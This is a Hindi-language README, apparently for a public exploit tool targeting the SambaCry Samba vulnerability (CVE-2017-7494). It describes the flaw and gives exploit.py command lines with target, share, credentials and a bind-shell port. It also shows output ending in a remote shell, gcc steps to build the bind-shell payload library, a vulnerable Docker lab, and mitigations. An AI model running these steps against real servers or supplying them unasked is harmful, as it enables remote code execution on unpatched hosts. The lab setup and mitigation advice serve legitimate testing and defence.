
SambaCry शोषण और कमजोर कंटेनर (CVE-2017-7494)
Samba एक स्वतंत्र सॉफ्टवेयर है जो SMB/CIFS नेटवर्किंग प्रोटोकॉल का पुनः कार्यान्वयन है। Samba विभिन्न Microsoft Windows क्लाइंट्स के लिए फ़ाइल और प्रिंट सेवाएँ प्रदान करता है और Microsoft Windows सर्वर डोमेन के साथ एकीकृत हो सकता है, या तो डोमेन नियंत्रक (DC) के रूप में या डोमेन सदस्य के रूप में। संस्करण 4 के अनुसार, यह Active Directory और Microsoft Windows NT डोमेन का समर्थन करता है।
Samba 4.5.9 और उससे पहले के संस्करण एक दूरस्थ कोड निष्पादन भेद्यता के लिए संवेदनशील है जिसे SambaCry कहा जाता है। CVE-2017-7494 दूरस्थ प्रमाणित उपयोगकर्ताओं को एक साझा लाइब्रेरी को एक लिखने योग्य साझा फ़ोल्डर में अपलोड करने और कमजोर Samba सेवाओं को होस्ट करने वाले सर्वरों पर नियंत्रण लेने के लिए कोड निष्पादन हमले करने की अनुमति देता है।
Samba 3.5.0 के बाद 3.x और 4.4.14 से पहले 4.x, 4.5.10 से पहले 4.5.x, और 4.6.4 से पहले 4.6.x Windows नामित पाइप का उपयोग करते समय फ़ाइल पथ को प्रतिबंधित नहीं करता है, जो दूरस्थ प्रमाणित उपयोगकर्ताओं को एक साझा लाइब्रेरी को एक लिखने योग्य साझा फ़ोल्डर में अपलोड करने और एक तैयार नामित पाइप के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देता है।

इस एक्सप्लॉइट को ठीक से चलाने के लिए आपको impacket पायथन लाइब्रेरी का एक पैच किया गया संस्करण और requirements फ़ाइल में अन्य निर्भरताओं की आवश्यकता होगी। उन सभी को स्थापित करने के लिए, कृपया चलाएँ
pip install -r requirements.txt
यदि आप Python3 चलाते हैं, तो आपको इस सॉफ्टवेयर को एक आभासी वातावरण में चलाने की आवश्यकता है। कृपया चरणों का पालन करें:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh
उसके बाद आप इसे इस प्रकार चला सकते हैं:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
उदाहरण के लिए, यदि आप इस रिपॉजिटरी के भीतर कमजोर वातावरण का शोषण करना चाहते हैं, तो चलाएँ
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
और आपको निम्न आउटपुट मिलेगा
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
एक्सप्लॉइट के तर्कों की व्याख्या:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t या —target - हमला करने के लिए दूरस्थ होस्ट सेट करें।-e या —executable - आपके स्थानीय सिस्टम पर वह पथ सेट करें जहाँ आप जिस लाइब्रेरी को लोड करना चाहते हैं वह स्थित है।-s या —remoteshare - दूरस्थ साझा फ़ोल्डर जहाँ फ़ाइल कॉपी की जाएगी।-r या —remotepath - दूरस्थ सिस्टम पर फ़ाइल कहाँ स्थित है।-u या —user - लॉग इन करने के लिए उपयोगकर्ता नाम।-p या —password - लॉग इन करने के लिए पासवर्ड।-P या —remoteshellport - यदि आप बाइंड शेल पेलोड का उपयोग कर रहे हैं, तो हमला निष्पादित होने के बाद पेलोड से कनेक्ट करें।इस हमले का अनुकरण करने के लिए आप एक कमजोर डॉकर इमेज का उपयोग कर सकते हैं। यदि आपके पास डॉकर स्थापित है, तो बस चलाएँ
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
यदि आप एक्सेस करना चाहते हैं, तो निम्न क्रेडेंशियल का उपयोग करें।
sambacrynosambanocryआप इस एक्सप्लॉइट के लिए बाइंडिंग शेल पेलोड का एक उदाहरण bindshell-samba.c फ़ाइल में पा सकते हैं। इसे आवश्यकतानुसार बदलें। उसके बाद एक नया बाइनरी उत्पन्न करने के लिए, उपयोग करें:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.5.0 के बाद 3.x और 4.4.14 से पहले 4.x, 4.5.10 से पहले 4.5.x, और 4.6.4 से पहले 4.6.x
पैरामीटर जोड़ें:
nt pipe support = no
अपने smb.conf के [global] अनुभाग में जोड़ें और smbd को पुनरारंभ करें। यह क्लाइंट को किसी भी नामित पाइप एंडपॉइंट तक पहुँचने से रोकता है। ध्यान दें कि यह Windows क्लाइंट के लिए कुछ अपेक्षित कार्यक्षमता को अक्षम कर सकता है।
इसके अलावा, Samba द्वारा अपने लिखने योग्य साझा फ़ोल्डर के लिए उपयोग किए जाने वाले फाइलसिस्टम को noexec विकल्प का उपयोग करके माउंट करने पर विचार करें।
यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। बिना अनुमति के इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग के कारण होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग के कारण होने वाली कोई भी क्षति (डेटा हानि, सिस्टम क्रैश, सिस्टम से समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।